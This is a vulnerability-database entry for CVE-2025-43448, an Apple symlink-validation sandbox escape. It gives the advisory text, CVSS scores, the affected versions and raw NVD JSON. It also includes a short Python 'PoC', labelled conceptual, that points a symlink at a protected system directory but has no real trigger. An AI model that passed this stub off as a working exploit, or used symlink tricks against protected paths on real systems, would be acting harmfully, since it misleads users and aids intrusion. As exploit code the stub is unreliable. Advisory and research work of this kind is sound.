Security Vulnerability Report
中文
CVE-2025-43448 CVSS 6.3 MEDIUM

CVE-2025-43448

Published: 2025-11-04 02:15:51
Last Modified: 2026-04-02 19:20:49

Description

This issue was addressed with improved validation of symlinks. This issue is fixed in iOS 18.7.2 and iPadOS 18.7.2, iOS 26.1 and iPadOS 26.1, macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1, tvOS 26.1, visionOS 26.1, watchOS 26.1. An app may be able to break out of its sandbox.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:* - VULNERABLE
Apple iOS < 18.7.2
Apple iOS < 26.1
Apple iPadOS < 18.7.2
Apple iPadOS < 26.1
Apple macOS Sequoia < 15.7.2
Apple macOS Sonoma < 14.8.2
Apple macOS Tahoe < 26.1
Apple tvOS < 26.1
Apple visionOS < 26.1
Apple watchOS < 26.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-43448 PoC - Symlink Sandbox Escape (Conceptual) # This PoC demonstrates the symlink validation vulnerability concept # Note: Actual exploitation requires specific application and file system context import os import subprocess import tempfile def create_malicious_symlink(target_path, link_path): """Create a symlink that may bypass validation checks""" try: if os.path.exists(link_path): os.remove(link_path) os.symlink(target_path, link_path) print(f"[+] Created symlink: {link_path} -> {target_path}") return True except Exception as e: print(f"[-] Failed to create symlink: {e}") return False def trigger_app_access(link_path): """Trigger vulnerable application to follow symlink""" # This would be replaced with actual application-specific trigger # e.g., file picker access, document processing, etc. try: # Attempt to access via file operation if os.path.islink(link_path): resolved = os.readlink(link_path) print(f"[*] Symlink resolves to: {resolved}") # Check if we can access target through symlink if os.path.exists(resolved): print("[+] Target is accessible via symlink") return True return False except Exception as e: print(f"[-] Access attempt failed: {e}") return False def main(): # Example target - protected system file or directory # In real scenario, this would be a sandbox-protected resource protected_target = "/var/root/private_directory" # Create temporary symlink in writable sandbox area with tempfile.NamedTemporaryFile(delete=False) as tmp: link_path = tmp.name print("[*] CVE-2025-43448 Symlink Validation Bypass Test") print("[*] Target: Apple iOS/macOS symlink handling in sandboxed apps") # Step 1: Create symlink if create_malicious_symlink(protected_target, link_path): # Step 2: Trigger application access trigger_app_access(link_path) # Cleanup if os.path.exists(link_path): os.remove(link_path) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43448", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:50.543", "lastModified": "2026-04-02T19:20:48.667", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "This issue was addressed with improved validation of symlinks. This issue is fixed in iOS 18.7.2 and iPadOS 18.7.2, iOS 26.1 and iPadOS 26.1, macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1, tvOS 26.1, visionOS 26.1, watchOS 26.1. An app may be able to break out of its sandbox."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.0, "impactScore": 3.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "6D51AEDC-9086-4010-B3BF-C652D65D09C8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "3981A7BE-BC98-4C6F-AE38-D68839368925"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.8.2", "matchCriteriaId": "84A2783A-5B53-4DAB-80C4-8D62E332802A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.2", "matchCriteriaId": "4BE8199E-63D1-496C-B107-52853CFC2311"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "290E0D29-CB5B-45A7-9FE3-FD2030B1D1A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "7DFD3616-65CA-4E5C-849C-3C20ACBCB610"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "9F9D7F76-13FB-407C-94E5-221B93021568"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125632", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125633", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125634", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125635", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125636", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125637", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125638", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125639", "source": "[email protected]"}]}}